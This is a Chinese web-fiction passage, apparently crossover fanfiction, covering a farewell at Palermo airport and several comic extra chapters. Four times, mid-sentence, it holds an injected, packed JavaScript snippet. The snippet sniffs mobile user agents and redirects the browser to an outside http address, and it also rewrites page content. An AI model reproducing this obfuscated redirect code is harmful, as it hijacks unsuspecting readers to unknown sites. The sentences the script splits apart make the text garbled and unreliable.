艾莎面色平静地与他对视。乌鸦敏锐地捕捉到某种危险的前兆,但他还是叹了口气,把要说的话说完了: “艾ちゃん,留在这里吧——找个能保护你的人。现在的混血种世界充斥着山雨将来的味道,你或许还感受不到,但只凭你一个人是走不长远的。就这么留在西西里不也蛮好?” -- 乐声悠扬。 他面带微笑地听几个西班牙□□首领夸耀‘生意’。他们的意大利语带有一种古怪的翘舌音,使他听了难免分神。 在他实际意识到以前,他的目光就已经越过轻声细语的男男女女,再度飘向窗外。 一扇玻璃门,将室外室内分隔成两个世界。 女孩仍是侧身靠在露台边,裙子几乎与夜色融为一体。 她的表情很冷淡——之前他总觉得她是那种很爱笑又很容易害羞的人——现在却突然惊觉,原来她并不是对谁都会露出那样的表情来的。 ……他们还在聊天,比他预想中还要久一点。 这时,面前的西班牙人突然露出一个识趣的笑容,讪讪表示要去跟其他人打招呼。他正要怀疑是自己开小差开得过于明显,但很快就察觉到了默默靠近、正站在他身后的老人。 今天是克里斯蒂娜的成人舞会——这样的私人场合,她的父亲本就不必像往常那样行吻手礼来表示尊服。 “…爱德华多。”年轻的首领面色如常地与他打了招呼。与此同时,他的视线已经不着痕迹地转向其它地方。 然而老人很不给面子的揭穿了他。 “Boss,在我面前就不要装啦。”爱德华多笑呵呵地,“有时我都要怀疑,那个女孩是否真如传闻中那样有魔力,把你迷得神魂颠倒。” “…我会注意。”沢田纲吉尴尬地轻咳了一声。 他知道老人是在委婉的批评他在社交时过于明显的走神。针对这些首领的细微末节,老人对他总是比其他人更加严格。 “我听说你叫人订了明天飞法兰克福的机票?”爱德华多背着手站在他身后一点的位置,像个忠诚的老管家。 “不把她留下来么?”他淡淡问道,“既然这么喜欢她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658824|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爱德华多,我想这是我的私事。”沢田纲吉温声提醒道。不止为老人的越界,也为这个话题本身。 “还在意Timoteo跟你说过的话么?”爱德华多从鼻子里轻轻哼了一声,颇为无奈的样子,“要我说他不该那样吓你——现在的彭格列跟四十年前不一样,与首领交往不是那么危险的事。” 他顿了顿,又补充道,“…只要她老实本分地待在本部,待在你身边。” 沢田纲吉微微侧头,目光平静,“您不该用这样的语气谈论那件事。” 他们说的是Timoteo刚刚继承彭格列的时候。 那时Ⅷ世刚被暗杀,彭格列之下的无数势力蠢蠢欲动,甚至家族内部也埋藏着叛徒。 在最动荡的时候,有人买通护卫,往Timoteo妻子乘坐的小轿车中放置炸.弹。 正值盛年的男人就这样在一夜之间痛失妻儿,埋下终生无法愈合的悔痛。 伴随这悔痛又生长出另一种孤独的决意。 ——所以在多年之后,当那个衣衫褴褛的女人牵着怀有愤怒之炎的孩子走到他面前时,慈悲的老者即刻便知道,他不可能是自己的儿子。 “…抱歉,是我考虑不周。”接触到沢田纲吉目光的一刹那,爱德华多当即恭敬地垂眼道歉。 “但你总有一天要成家的。一辈子不结婚那是孩子话。”老人一副‘过来人’的口吻,淡淡的,又根本不容人辩驳,“你该尽早考虑这些,之后的结果会比由家族出面来得好。” “不会有这一天。”沢田纲吉轻声说,语气笃定。 “我不会把无关的人牵扯进来;也不会接受家族的任何安排。这是早就决定好的事情——我可以为彭格列做很多事,但是爱德华多,这其中并不包括我的家庭。” 他不会将能在阳光下行走的人拖进阴影里,更不会容许一个对他毫无感情的陌生女孩的命运——仅仅因为家族利益这样虚无散漫的理由——就这样与他绑在一起。 所以不会有妻子,不会有家庭。这是在与Timoteo的那次谈话前就做好的觉悟。 “…可我不明白。”爱德华多沉默一会儿,他又换了一种劝说方式,“你喜欢她不是么?就这么让她走,不会不甘心么?” 闻言,沢田纲吉轻轻叹了口气。 他突然觉得和这个执拗古板的老人是说不通的——年长者总是自恃经验丰富,可其实也有落后于时代、疲于追赶的地方。 此时舞会气氛正酣,不远处飘来悠扬的大提琴声。不知是否为了迎合彭格列Ⅹ世在复活节舞会上的‘新鲜举动’,此刻乐队居然又演奏起探戈舞曲。 名曲。即便是他也听说过名字——《PorUnaCabeza》。在西班牙语中本为赛马术语,意思是‘只差一个马头的长度’。后来被命名者刻意拿来类比感情。 和着哀婉的提琴声,他重新将目光投向门外的女孩。她对他的注视一无所觉,远远望过去就像来自另一个世界。但他知道他们其实离得那么近。 激昂的小提琴贴着低沉的大提琴若即若离,就像情人的指尖拂过发丝,裙摆荡开涟漪。 PorUnaCabeza,PorUnaCabeza。 只差这么一点距离便失之交臂,情人间难以割舍的交缠如此令人惋惜。 “爱德华多,她不该一直待在我身边。”沢田纲吉轻声道。 “——她有自己要做的事。” -- 夜风吹拂。 “我不喜欢你刚才的话。” 她也趴到露台边,拿手支着下巴看天。 “你把我说得像只苇羚羊,在狮子环伺的非洲大草原上悠闲吃草——好吧我承认我是有点没心没肺——但我不是一块肉。如果有混血种不清楚这点,那么我会让他知道。” “所以这不是我继续留在西西里的理由。你说的保护者我不需要。”艾莎轻声道。 说出这句话时她心里微微一动。有一瞬间觉得自己来到迷宫的十字路口,其中一边通向捷径和出口。于是她停下想了又想,做出了自己认为正确的选择。 “校长说,想要的东西要自己去找。”她轻轻说。 夜风中隐隐传来小提琴声,那么缠绵那么遥远。她心里突然一恸,知道自己走了正确的一边。 尽管最终未能抵达天光,但这毕竟是她自己的选择。 “——可如果你不去找,怎么知道自己心里真正想要什么呢?” 66. 第64章 留言 手指在光滑的桃木上停留片刻。他犹豫数秒,才“笃笃”地叩响了房门。 “艾莎,现在方便么?” 里面很快就传来了回应声。 “纲吉君?进来吧,门没锁——” 他旋开房门。明亮的灯光洒下,女孩正盘腿坐在地上打包行李。她已经换下了舞会时的长裙,此刻恰好穿着他们初见那天的卫衣。 她身旁散乱的铺了些衣服游戏。虽然没看到什么私密物品,沢田纲吉心里还是不免些许尴尬——总觉得是侵入了她的私人空间一样。 然而也正因此,内心深处又另有一股不合时宜的轻快油然而生…… “需要帮忙么?”他及时地按捺住遐思。 “不用,已经快理好啦。” 艾莎笑着拍拍一旁干瘪的背包,示意自己东西不多。 “纲吉君有什么事么?”她顿了顿,又猜测道,“是技术部门那边有结果了么?” 那天取回祖先遗物后,沢田率先考虑到里面装着其它易损物品(例如纸张)的可能性。因此当时他们没有选择直接打开,而是交由彭格列的技术部门先行检测。 “嗯,刚刚才拿到。”沢田边说边将黑色镶银的匣子递到她面前,“艾莎要打开看看么?” 那只匣子还是刚取出来时的样子,甚至有种比原本更加熠熠的光彩。 ……想来也是,既然是研究,技术部门当然会千方百计的保全和修复匣子的原貌。 艾莎伸手接过。也不知道这是由什么材质制成的,看起来体积不大,拿在手里却沉甸甸的。 一百多年前,这只匣子大概也曾被他们的祖先握在掌中。 真是神奇。那分明是两个完全陌生的人;但却跨越了那么遥远的时间,与他们各自的血脉相连。 “…糟糕,怎么感觉还有点紧张……”她的手在匣子表面摩挲,结果被属于甘贝特家族的双头老鹰家徽不轻不重地碦了一下。 “纲吉君已经打开看过了么?” “没有,但我看了技术部门的报告。该怎么说呢……”沢田在她身边坐下(她把叠好的衣物往远处扫了扫),他有些苦恼地揉了揉额角,“你打开看看就知道了。” 见状,艾莎迟疑着点点头。她观察一下匣子的开口,然后小心地掰开了顶盖。 没有什么海盗电影里常见的、刺目逼人的一阵金光,也没有其它任何异常的事情发生。 已被尘封百年的物品就这样静静躺在匣子中央; 就似乎冥冥之中,命运并未肃然转动,而是如一件薄纱般轻飘飘地坠地。 “这是……?” 艾莎取出匣子里的东西,左右翻看一阵,有些不明所以地皱了皱眉。 绷带男说过,他们要取的东西是‘指环’。可此刻她掌心里的东西毫无疑问与指环八竿子都打不着边。 ——这是一只通体漆黑的圆筒,外表粗糙,磨砂般的质地。中间有一些镂空的方块,不知是什么作用。 她将它拿到耳边轻轻晃了晃——里面没有发出任何响动。 “技术部的人说里面是空心的,有点像中世纪流行的密码筒,强行开启也许会触发防盗的自毁机制。但除此之外,暂时就没有其它线索了。”沢田道。 “艾莎有想到什么类似的东西么?混血种世界的?”他问道,但心里没有抱太大希望。 “不太清楚……”她有点沮丧地耷拉下脑袋。 接下来的时间,她把圆筒拿在手里翻来覆去地研究一阵:原本是试图激发起曾经关于历史课堂的零星记忆,却在不经意间有了新的发现: “等等,这里好像有字!” 说着,艾莎将圆筒拿到眼前细看——在左上角很不起眼的位置,确实有两行微微凸起的细小字符。 只是太小了,又和圆筒一样是黑色,因此凭肉眼很难辨别。 她只好又仔细摸了摸,顺着指尖触感逐字逐字的艰难读道: “ToMne……” 沢田纲吉也有些吃惊,按理说技术部门的调查不该漏掉这样重要的信息。可现在不是思考这些的时候。他反应很快地抽出随身携带的钢笔,将艾莎说出的字符挨个记录了下来。 记录完成后,他们又一起确认了好几遍。最终,便签纸上呈现的文字如下: ToMneme(致谟涅墨) RoseinMary(玫瑰在玛丽怀中) “…这是什么意思?” 再没见过比这更加意味不明的留言了。 他们抬起头来面面相觑。 本以为遗物取出,祖先的因缘已近了结;可现在看来,一切又似乎只是刚刚开始。 二人一时陷入沉默,就像都在等对方开口似的。 可到底没人说话。 “…这件东西,艾莎要带着么?你的老师或许会知道来历。”沢田轻声问。 “还是纲吉君拿着吧。”她摇了摇头,“绷带男说过里面是指环——混血种的世界里可没有指环和死气之火。” 早在清楚‘指环’两个字的真正意义时,她就已经决定把祖先遗物让出给他了。 至于如何打开这个19世纪的老古董——现在都21世纪了——彭格列的技术部门总能找到办法。 “不过又是套盒又是谜语——纲吉君,我们的祖先说不定是两个性格超级麻烦的家伙啊……?”她苦笑着感叹道。 对此,沢田的第一反应是试图反驳;但他终究还是叹了口气,不知是不是在表达赞同。 之后他们又各自默然,两个人在无声中达成某种心照不宣的共识。 放任的共识;暂且搁置一边的共识; 别离的共识。 -- 巴勒莫机场。 这里是西西里岛第二大的航站枢纽,主营与欧洲大陆间的班机来往。 与南欧所有修建过早的现代基建一样,这座上世纪起就存在的建筑有着过分局促的空间;没有空调,白色条纹的天花板压得低低的,各种语言混杂的人声在其下滚水般沸腾。 热烈的阳光,破落的繁华和拥挤的人情味,就像西西里带给游客的一贯印象。 “差不多到时间啦……” 艾莎看看滚动的电子屏幕。不知不觉间,她已能看懂一些简单日常的意大利语了。 她转过身,与坚持来送别的褐发青年相对而立,一时又不知道说些什么。 她不常应对这样的场合,因此现在才发现自己并不擅长。 “那、那走啦?”她挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658825|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挥手,自觉这个动作做得无比笨拙。 “嗯。一路顺风。” 褐发青年也朝她轻声道别,一如既往的温柔语气,可说出来的话总显得有些生疏。 艾莎还想跟他再说点什么,但搜肠刮肚后仍然想不到合适的话题,于是只好点点头,转身向登机口的方向走。 走得越远,身边就越安静,只有她自己的心在“扑通扑通”地乱跳。 心神不定间,许多老早就该明晰的事实到了此刻才后知后觉的从脑中一件一件蹦出来。 她突然意识到刚才就是与沢田纲吉真正的分别了。 以后或许很久都不会再见面。 ……又或许再也不会见面。 这么想着,她的脚步倏然停住。在她自己意识到以前,身体就已经自顾自地转了180度。 万幸,隔着熙熙攘攘的人群,她发现他仍停留在原地。或许她走得没有想象中那么远。 见她突然回头,沢田纲吉的表情相当错愕。但他当然不可能干看着她独自回返,于是便也拨开一波一波的人流向她走去。 他们在中点处再度碰面。由于刚刚应付行人应付得颇为艰难,因此两个人都有点气喘。 “艾莎?是忘了什么东西么?” 听到他的询问,她无声地摇了摇头,又定定看他几秒,试探性的微微张开了双臂。 “…ahug?”艾莎故意朝褐发青年咧嘴一笑,轻松而蛮不在乎的样子。 接着,还没等他有所反应,她就已经主动上前,给了他一个深深的拥抱。 他们沐浴在西西里盛大的日光之中。他的怀抱干燥温暖,有太阳和花草的味道。 她静静地在他怀里待了几秒。喧闹的人声突然离得很远很远,隔着黑色的西服外套,他的心跳声清晰可闻。 淡淡的花草味道充盈了呼吸。她有点紧张地闭了闭眼,然后微微踮起脚,凑近了他的耳朵。 “さよなら。”她轻轻道。 在日语中,这是非常正式的告别说法。通常用于很长时间不会再见的时候。 他搂住她腰肢的手臂又不自觉地紧了紧。 “さよなら。”他听见自己也如是回应道。 说完以后,他感到侧颊传来花瓣般的温软触感。在意识到那是一个短暂的亲吻后,他不由一怔。 女孩也趁机溜出他的怀抱,她眼中跃动着一种格外狡黠生动的笑意,脸因热气而蒸腾出淡淡的粉色。 “さよなら!”她又大声地说了一遍。这时机场广播恰好响起最后一遍催促登机的提示语音,她笑着朝他挥了挥手,便匆匆向登机口走去了。 他呆呆地站在原地,目光始终跟随着她的背影。然而很快,一群喧哗的韩国夕阳红旅行团阻挡住了他的视线。当他们的队伍稍稍松散的时候,她已消失在来来往往的人群之中了。 耳边传来一对韩国夫妇异常激动的声音,似乎是在吵架;他们身边的人同样大声的阻拦着劝架。 除此之外,还有许多声音和许多人——话别的情人,团聚的家庭,近处,远处,喜怒,哀伤。 沢田纲吉很久很久都没有说话。他伫立在熙熙攘攘的人流之间,莫名觉得整个机场那么空荡。 (第二部分完) 67. 番外 娘家人 1.分别后 两人分别后,艾莎从法兰克福转机希思罗,在英国晃荡一阵后才返回学院。 当时正值5月中旬,她向古德里安提交了那篇旅行中途写好的论文,然后在导师睁一只眼闭一只眼的实力放海中顺利毕业。 毕业后她拒绝了芝加哥分部的邀请,背上背包继续她的旅行;大师兄“把水变成石油”的研究没了下文,想来结果不大理想。因此她的日子仍然过得很拮据,偶尔需要接一些学院分派的临时任务来赚旅费。 在这期间她去了很多地方,尝试了诸多新鲜事物,也看到很多以前不曾注意的风景。 她还是背着那只旧包,里面装着游戏机和睡袋。没有了一捆一捆的镇定剂和安眠药后背包的空间更富余了,这是值得庆贺的事。 两人分别后,沢田纲吉生活如常。 2.论文 艾莎的论文写作《尝试解构血之哀:结合人类学与龙族家族谱系分析》,读作《遇到绝世好男人后血之哀什么的根本不值一提:以我和我在西西里岛遇到的Mafia首领为例》 据说古德里安粗略一翻后痛心疾首,因为这篇连注释都没有一个的玩意儿根本不能称之为论文。 又据说古德里安硬着头皮通读一遍后满校园找起曼施坦因,口中高呼:“你说中啦曼施坦因——被你说中啦!” 3.连锁反应 一次临时任务,中途偶然遭遇了某西班牙□□。 乔装打扮成普通旅游团的执行小队被凶神恶煞的□□包围。 眼看任务就要延后。就在艾莎想要违反学院规定暴力突破的当口(反正也不是第一次了),她与该□□首领对视。 对方一看清她的长相就脸色巨变,一边高声训斥属下一边恭恭敬敬放走了执行小队。 该首领用带着卷舌音的英语谄媚表示一切都是乌龙他根本不知道菲奥娜·怀特也在这里,并字里行间暗示艾莎行行好不要让彭格列知道此事,否则自己的家族朝不保夕云云。 艾莎嘴角微抽含混点头。 小队里的其他成员瞳孔地震化身瓜民。 当晚的学院BBS,“谁能跟我说说菲奥娜·怀特到底是谁?”的吃瓜贴被刷了500多楼。 4.新年 新年时,守护者和同伴难得聚齐,大家一起在本部吵吵闹闹的过了个年(云雀没有参与)。 可惜西西里没有神社和寺庙,无法进行初诣。但跨年前所有人一起煮了荞麦面。 沢田纲吉一不小心贪了杯,迷迷糊糊间叫了艾莎的名字。 结果被山本他们听了个正着。 众人对此反应不一:有人对那个名叫“艾莎”的女孩产生好奇,有人等着看好戏,也有人担心阿纲,觉得他有点‘栽进去了’。 可其实这是沢田纲吉自分别后第一次想到女孩;所想的也不是多么肉麻酸牙的事,只是想知道她现在在哪里、在做什么而已。 此时距离两人分别已有半年有余。 5.新年2 艾莎的新年在养伤。 她趴在网吧二楼的小包厢,隔着一扇门听一群大老爷们伴随着热烈的电子键盘敲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658826|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声激情吆喝。噼里啪啦电光火石的。 也有人在休憩的当口招呼老板“再来两碗五目炒饭!”,或者跟老板闲聊,问他“今天老板娘怎么不在?”。 这时老板就懒洋洋地回复“跟她闺蜜出去玩了。”,以及“来网吧吃什么五目炒饭给我乖乖点营养快线啊喂!”。 背上的伤口在结痂,怪痒的。有时艾莎会忍不住把手背到身后挠一挠。 但每当这时都会有另一双柔软的手轻轻制止她。 “不可以抓伤口!” 伸到眼前的小本本上如是写道。 俯身靠近的衣袖和纸张上传来淡淡的白檀香气。艾莎嗅着这个味道叹了口气,郁闷地重新趴下了。 “我也想吃五目炒饭。”她可怜巴巴地小声说。 眼前的小本本被抽走,耳边传来絮絮的书写声。 “只能吃一点。待会儿就让Sakura炒。” 重新出现的小本本上这样写道。 6.农历新年 艾莎从公历新年躺到农历新年,终于恢复了个七七八八。 期间大师兄也在某天离奇出现在网吧门口,如流浪汉般衣衫褴褛饥肠辘辘,连吃了五碗方便面加火腿肠才缓过劲来。 面对艾莎,大师兄痛心疾首,表示万万没想到“水变石油”的研究会遭遇滑铁卢,现在他们只能一起破产了。 艾莎眨巴着眼点点头,看到大师兄吃的方便面是老坛酸菜口味的。 难得人齐,二师兄提议一起过个年再走。 艾莎和大师兄从善如流。 68. 番外 娘家人 7.年三十 年三十网吧营业到中午12点。 但一大清早二师兄和二师嫂就离开了——今天是除夕,中午他们要去叔叔婶婶家吃饭。 日本之行后,二师兄和婶婶关系缓和了不少。今年又碰上表弟路鸣泽假期排不开过年回不来——谁让美国人不过春节——眼看婶婶日趋落寞,叔叔就悄悄给路明非打电话,问他年三十能不能回来吃饭。 面对叔叔婶婶,二师兄依然改不了当年衰仔模样,怂怂地就答应了。 原本这该是个偶发事件,后来不知怎么就变成一项传统,维持了很多很多年。 8.婶婶 对于中午的家宴,婶婶一边骂骂咧咧说麻烦一边口嫌体正直的早上6点起床准备; 其实最开始婶婶对绘梨衣总有点看不顺眼。 除了一点子不足为外人道的攀比之心以外,更大程度是因为这个一辈子为家庭精打细算、连出国旅游都没几次的普通中年妇女并不能适应侄儿侄媳带进家门的‘国际化’气息—— 她不确定绘梨衣来吃饭是不是意味着以后过年她得往桌上加几道日本菜。 知道用不着以后婶婶如释重负。 之后婶婶看绘梨衣还是不大顺眼,当然这种不顺眼包含了诸多复杂因素——包括但不限于普通人对富家小姐、‘你乔薇尼的儿子有了谈婚论嫁的貌美女友我儿子还是条前途未明单身狗’、婆婆对儿媳等等等等—— 可从婶婶看出绘梨衣的拘谨说她“太瘦了”并给她疯狂夹菜来看,这个中年妇女对侄媳至少是没有恶意的。 9.家 叔叔对乖巧侄媳相当满意。每每知道绘梨衣要来,湘派红烧肉总是提前一晚就在炉子炖上的。 不过过年嘛,叔叔免不了更关心侄子——毕竟都是老路家的人——问问网吧最近的生意啦,闲着没事催催婚啦……爷俩缩着脖子站在寒冬凛冽的阳台聊天,路明非给叔叔点烟,自己也装模作样来上一根。 烟是叔叔单位发的,一条一条,平时都是囤着给人送礼用,也只有过年才会狠狠心自己拆一包。 这些年路主席走南闯北,也算叼过不少上好雪茄,有的一根就能买一条这样的香烟。 可雪茄只用吸不用过肺,所以路主席其实还是不会抽烟。 只见他气沉丹田猛吸一口,然后被呛得眼泪鼻涕流了一脸。叔叔边笑边去屋里给他找餐巾纸。 路明非就一个人站在阳台,转头看着室内;客厅的电视机里放着春晚的预热节目,嘉宾都吵吵嚷嚷,穿得像一只只喜庆的大红灯笼; 一旁的饭桌边,婶婶正在教绘梨衣包饺子,婶婶教得认真,是以对叔叔“那包新开的餐巾纸放哪儿了”的问题很不耐烦。 路明非静静看着。 绘梨衣原本在专心致志观察婶婶手上动作,这时却好像突然心有所感。她抬起头,隔着玻璃窗上镂空的大红‘福’字,对他露出一个浅浅的微笑。 10.八卦 二师兄二师嫂到下午四五点才回来,两人提了一大包剩饭剩菜,还有零食干果这样的年货。 一天没吃饭还顺便打扫了卫生的艾莎与大师兄双双扑上前来,眼睛里闪烁着饿狼一样的绿光。 晚上,四个人坐在暖炉里剥橘子吃干果,放着春晚当背景音乐然后闲聊。说着说着就说到了传闻中的‘彭格列’身上。 “什、什么彭格列?”艾莎就像被踩到尾巴的猫一样浑身僵硬。 “就是在西班牙光提名头就把那群□□吓得魂飞魄散的那个‘彭格列’啊!”大师兄吭哧吭哧啃橘子,不动声色地封住小师妹退路。 11.挖煤球 事实证明彭格列的情报工作做得不错——当然也可能是得益于乌鸦说过的、西西里岛的奇异之处——总之学院bbs的帖子虽然传得沸沸扬扬,但到底也没爆出什么猛料。 当时就有往届师兄在帖子里追忆往昔,说倘使学生会新闻部的那位前部长还在,定能将此瓜挖个四脚朝天。噫吁嚱,可见现在真是一代不如一代…… “其实我也没挖出什么啊,”大师兄一脸矜持,“我也就知道彭格列现在传到了第10代,首领是个日本人名字叫沢田纲吉,当上boss后情史一片空白好像还挺洁身自好,就是看上去有点瘦弱目测身高182体重68吧——对了小师妹你知道么,他初中的时候好像经常在他们老家裸/奔……” “…不,你这已经很惊人了好么。”二师兄木然槽道。一旁的二师嫂也默默竖起耳朵。 “但我找不到他和‘菲奥娜·怀特’的风流轶事啊。到底是人家□□内部的事,我一守法良民哪儿有渠道——”大师兄摊开手,“传言倒是有,现在都说小师妹和他一见倾心再见倾身,牵手抱抱kiss一应俱全还经常大晚上的待在一个房间里,俨然就要开展一段跨身份跨种族的旷世奇恋——” “——你才跨种族呢!”艾莎龇牙咧嘴,“没有kiss也没有恋,我跟纲吉君清清白白好么——” “这么说牵手和抱抱是有的咯?”大师兄充分发挥狗仔队机敏。 “…唔,”艾莎顿时一怔,半晌后眉眼间浮上纠结与心虚,“好、好像也不能说没有……” “你看看你看看!”大师兄转向蹲守在吃瓜前线的师弟和师弟媳,表情在得意邀功与痛心疾首间来回切换。 12.清白 “但是真的没有恋好么!”艾莎试图挽回她和沢田的清白。 “是啊是啊孤男寡女大晚上的同处一室居然什么都没干当然清白了,”大师兄阴阳怪气,摆明了是不相信。 “况且日本人的风俗我还是知道点的。以名加君那就是男朋友的叫法——你现在就叫他‘纲吉君’,以后要叫他什么我简直不敢想。” “那是因为我一开始忘了‘沢田’两个字的日语发音!”艾莎一脸抓狂。 “说‘一开始’的意思是现在即使知道发音也不会改变称呼了么!”大师兄精准找到痛点。 “那是因为现在我们是朋友了啊!” “屁的朋友!你这根本就是喜欢他吧!” “…唔!”大师兄的话如惊雷破开迷雾。艾莎的嘴徒劳的动了动,结果一句话也说不出来。 “才…才不是!”半晌后她才虚张声势地反驳道,“才不是喜欢呢!” “哦?”大师兄一脸奸猾,“那不如我们来验证一下?” 13.想象 “这个沢田纲吉是个什么样的人?”大师兄回归严肃,第一个问题问得十分朴实无华。 “纲吉君……”艾莎打起十二万分精神。她心说这个问题还不简单么,只是回答时要小心避开一些会被大师兄钻空子的形容词。 可是接着她的大脑一片空白。有时候就是这样的,你就是能脱口而出他比其他人都要好,可是具体好在哪里,一时间又说不出来。 “纲吉君是个好人……”恍恍惚惚间,一句不像样的话从她嘴边自作主张的溜出来。 “喂喂,一上来你就发好人卡么……”大师兄嘴角微抽破坏气氛。二师兄二师嫂倒是若有所思地对视一眼。 “好吧,他既然是个好人……”大师兄有点接不下去,就自己补充道,“而且还是个长得不错有权有势的好人,那他肯定很受欢迎,对不对?” 艾莎犹豫一下,点了点头。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这是个充分不必要条件。”大师兄耸耸肩,“‘喜欢’这种东西就是会把人变得恐怖啊,但不是所有把你变恐怖的情感都是喜欢。” “也可能是占有欲。”他说,“这在混血种当中也很常见,毕竟龙就是喜欢囤积财宝天性凶狠的物种嘛。小师妹你还有得学。” “…学什么?”她下意识问。 “学着去区分。”大师兄的正经维持不了3秒,“诶呀你刚刚一定在想,‘一定要克制住这种可怕的心情,最好以后都不要再想起沢田纲吉。’对不对?” 艾莎没说话,半晌后愁苦地点点头。 “可万一是喜欢呢?是的话不就彻底错过了?”大师兄劈手夺过那块纪念币,边修复边头也不抬地说,“所以小师妹,世界上有些事是不能逃避的,一旦错过就没有第二次机会了。” 他仔仔细细沿着边缘掰扯,又拿手掌敲敲打打一阵,最后竟然真的把纪念币还原了个七七八八。 “你看,我就说你还有得学吧?” 大师兄得意地把小老虎塞回她手里。 15.后来 后来大师兄还想继续下猛药,嘴里说些“烈女怕缠郎,小师妹!缠他!”之类的浑话,幸好被二师兄中途拦下。 她心里乱糟糟的,第一反应还是想逃跑。可左边是二师兄,右边是大师兄,根本逃无可逃。 紧接着二师嫂也扑到面前,眼睛亮晶晶地望着她。 白色的小本本杵到眼前,上面是早就写好的一句话: “想知道!艾ちゃん和沢田君的故事!” 艾莎嘴巴张了张,最终妥协地叹了口气。夜还很长,她从文迪凯许特街44号前的初遇慢慢说起…… 说到点燃死气之火的时候她突然停住。像是终于反应过来什么一样,她陷入一种恍然的呆滞之中。 恍恍惚惚,脑子里蹦出的最后一个问题却是中国与欧洲之间的时差。 ……现在是冬令时,所以应该是七小时吧? 69. 番外 东京面基 16.神经病 源稚生,卡塞尔学院日本分部有史以来最年轻的执行局局长,源家家主兼蛇岐八家少主人,伟大的天照命,在3秒前经历了人生中第一次滑铁卢。 他本已打定主意给本部来的‘小孩’一点下马威,叫他们知道日本分部不是本部那样其乐融融彩旗飘飘的地方——手指头破点皮就能申请工伤、动辄就找心理医生、天上飘着的都是棉花糖…… 一直到面对疾驰而来的斯莱布尼尔号不动如山为止,计划都进展得很顺利。 然后机舱门打开,他和那4个神经病正式碰了面。 神经病1、2、3号都穿着印花和服蹬着木屐打着伞,不像是来执行任务,倒像什么日本风情旅游团。 源稚生很快放弃了与他们交流的打算,因为从他们的对话来看这三个人明显只分别对奢侈享受、樱花步道和秋叶原感兴趣。 他把希望放在第4人身上——他们曾在美国有过一场剑术指导。当时对方不过十二三岁,却给源稚生留下了极其深刻的印象。 老爹说过,要想衡量一个人的剑术修养,看眼神就够了。 这是日本的剑道所讲究的东西:战胜对手,同时也要战胜自己的软弱之心;无论面对多么强大的敌人,都要坚信自己会赢。 ——高手间的对决往往如此:谁先恐惧谁就输了。心的溃败会影响剑的‘形’。 而那时从对方眼中,源稚生找不到一丝一毫的恐惧。 她是如此稚嫩,却已经具备武士的眼神。 不可否认,当他在包含了‘纨绔子弟’、‘暴力狂’和‘无能废柴’*的专员名单上看到第4人的名字时,心头的确闪过淡淡的宽慰与期待。 他想知道当年的孩子如今究竟成长到了哪个地步。 这种期待在发现她没和123号同流合污扮成什么搞笑日本风土体验团后更加攀升。 源稚生沉着冷静地开口: “Elizabeth·An…” 结果话都没说完就被激昂打断: “…欸?中了——我中了!?” 因为激动兴奋,第4人猛地抬起脸来。 源稚生再度陷入震惊——除非是他视力出现了问题——记忆中闪着刀剑清光的‘武士之眼’不知为何变成了一双死鱼眼。 他对这种根植着堕落、懒怠与散漫的眼神同样不陌生——欠着家族钱每天沉迷小钢珠赛马指望一朝翻身的废柴loser都长这样。 只见Loser小心翼翼目不斜视地捧着游戏机从他身边走过,双手正由于不敢置信而微微颤抖(她刚意外抽中游戏里的超稀有跟宠)。 源稚生陷入石化。 这时‘纨绔子弟’与‘暴力狂’也已经绕过了他,他们自顾自的打开汽车后备箱,开始往里面框框扔行李。一旁的樱手足无措,不确定要不要拦住他们。 源稚生感到事态正朝他想都没想过的方向撒丫子狂奔。 这时‘无能废柴’也经过了他身边,废柴倒没无视他,反而很贴心的帮同伴打起圆场: “欸多、达咩,‘Elizabeth’达咩跌死!”路明非操着一口塑料味儿日语,指着头都不抬的小师妹,“她,欸,thinkof‘Gintama’跌死——‘Gintama’,youknow?” 路明非想了半天也不知道怎么描述《银魂》里那只奇异生物,索性缩起两只手,放在胸前朝两边扑棱。 源稚生:“……” 他压根没看过《银魂》,也就无法理解其日文发音与‘〇丸’相近的烂俗谐音梗。 他只感到自己的神经在短短几秒内接连承受了两双(仿佛一脉相承的)废柴死鱼眼攻击,并且第二双的主人还满口“〇丸”这样的污言秽语…… 路明非也根本没看出源稚生此刻内心的惊涛骇浪。他继续对眼前这个过于木讷的日本接待露出和善微笑,手中挥舞着一张酒店名片: “诶多,扣内…粑修——一库!一库贼!” 